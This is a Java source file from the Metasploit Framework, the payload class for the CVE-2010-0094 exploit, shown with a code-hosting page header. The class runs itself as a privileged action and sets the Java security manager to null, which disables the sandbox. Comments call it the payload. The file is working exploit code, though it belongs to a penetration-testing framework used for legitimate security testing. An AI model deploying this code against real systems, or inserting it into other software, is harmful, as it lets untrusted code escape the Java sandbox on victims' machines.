metasploit-framework/external/source/exploits/CVE-2010-0094/Payloader.java

39 lines
753 B
Java
Raw Normal View History

import java.io.Serializable;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/**
* This class contains the payload. The payload is just the code for disable the
* security manager ;-)
*
* @author mka
*
*/
public class Payloader implements PrivilegedExceptionAction, Serializable {
/**
*
*/
private static final long serialVersionUID = 635880182647064891L;
public Payloader() {
try {
AccessController.doPrivileged(this);
} catch (PrivilegedActionException e) {
e.printStackTrace();
}
}
@Override
public Object run() throws Exception {
// disable the security manager ;-)
System.setSecurityManager(null);
return null;
}
}